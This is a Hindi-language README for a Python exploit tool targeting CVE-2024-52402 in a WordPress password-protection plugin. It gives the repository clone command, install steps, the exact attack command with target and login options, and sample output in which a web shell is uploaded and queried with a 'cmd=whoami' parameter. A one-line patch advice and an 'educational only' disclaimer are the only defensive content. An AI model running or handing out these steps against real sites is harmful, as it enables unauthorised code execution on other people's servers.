🚀 CVE-2024-52402 के लिए एक्सप्लॉइट: WordPress Exclusive Content Password Protect प्लगिन <= 1.1.0

🛡️ अवलोकन

यह एक्सप्लॉइट WordPress Exclusive Content Password Protect प्लगिन, संस्करण 1.1.0 तक, में क्रॉस-साइट रिक्वेस्ट फोर्जरी (CSRF) भेद्यता को लक्षित करता है। यह भेद्यता एक हमलावर को वेब सर्वर पर वेब शेल अपलोड करने की अनुमति देती है, जिससे संभावित रिमोट कोड निष्पादन हो सकता है।

📅 विवरण

• प्रकाशित: 2024-11-19
• CVE ID: CVE-2024-52402
• प्लगिन संस्करण: Exclusive Content Password Protect <= 1.1.0
• गंभीरता: CRITICAL (CVSS 9.6)

⚙️ उपयोग

इस भेद्यता का शोषण करने के लिए, आपको लक्षित WordPress साइट URL, एक मान्य WordPress उपयोगकर्ता नाम और पासवर्ड प्रदान करना होगा। एक्सप्लॉइट स्क्रिप्ट WordPress साइट में लॉग इन करेगी और वेब शेल अपलोड करने का प्रयास करेगी।

🔧 कमांड

python CVE-2024-52402.py -u <target> -un <username> -p <password>

🛠️ विकल्प

usage: CVE-2024-52402.py [-h] -u URL -un USERNAME -p PASSWORD

Exploit for ECVE-2024-52402 By | Nxploit, Khaled ALenazi

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target WordPress site URL
  -un, --username USERNAME
                        WordPress username
  -p, --password PASSWORD
                        WordPress password

🌟 उदाहरण

python CVE-2024-52402.py -u http://target/wordpress -un admin -p admin

🚀 आउटपुट उदाहरण

[+] Plugin version detected: 1.1.0
[+] Logged in successfully.
[!] Exploit completed! Web Shell uploaded: http://target/wordpress/wp-content/uploads/nxploit.php
[*] Test with: http://target/wordpress/wp-content/uploads/nxploit.php?cmd=whoami

📜 विवरण

यह स्क्रिप्ट Exclusive Content Password Protect प्लगिन में CSRF भेद्यता का शोषण करके एक वेब शेल अपलोड करती है WordPress सर्वर पर। हालाँकि, यह सीधे CSRF आक्रमण निष्पादित नहीं करती है; इसके बजाय, यह प्लगिन की फ़ाइल अपलोड कार्यक्षमता का लाभ उठाकर शोषण प्राप्त करने पर केंद्रित है।

👨‍💻 स्क्रिप्ट कैसे चलाएँ

1. रिपॉजिटरी क्लोन करें

   root@kitploit:~

   git clone https://github.com/Nxploited/CVE-2024-52402.git
   cd CVE-2024-52402
   

2. आवश्यकताएँ इंस्टॉल करें सुनिश्चित करें कि आपके पास requests लाइब्रेरी इंस्टॉल है:

   root@kitploit:~

   pip install requests
   

3. स्क्रिप्ट चलाएँ स्क्रिप्ट निष्पादित करने के लिए निम्न कमांड का उपयोग करें:

   root@kitploit:~

   python CVE-2024-52402.py -u http://target/wordpress -un admin -p admin
   

🛡️ शमन

इस भेद्यता को कम करने के लिए, Exclusive Content Password Protect प्लगिन को नवीनतम संस्करण में अपडेट करें जहाँ यह समस्या ठीक कर दी गई है।

⚠️ अस्वीकरण

यह स्क्रिप्ट केवल शैक्षिक उद्देश्यों के लिए है। उन सिस्टमों के विरुद्ध इस स्क्रिप्ट का अनधिकृत उपयोग, जिन्हें आपके पास परीक्षण करने की स्पष्ट अनुमति नहीं है, अवैध और अनैतिक है।

एक्सप्लॉइट द्वारा: Nxploit , Khaled alenazi.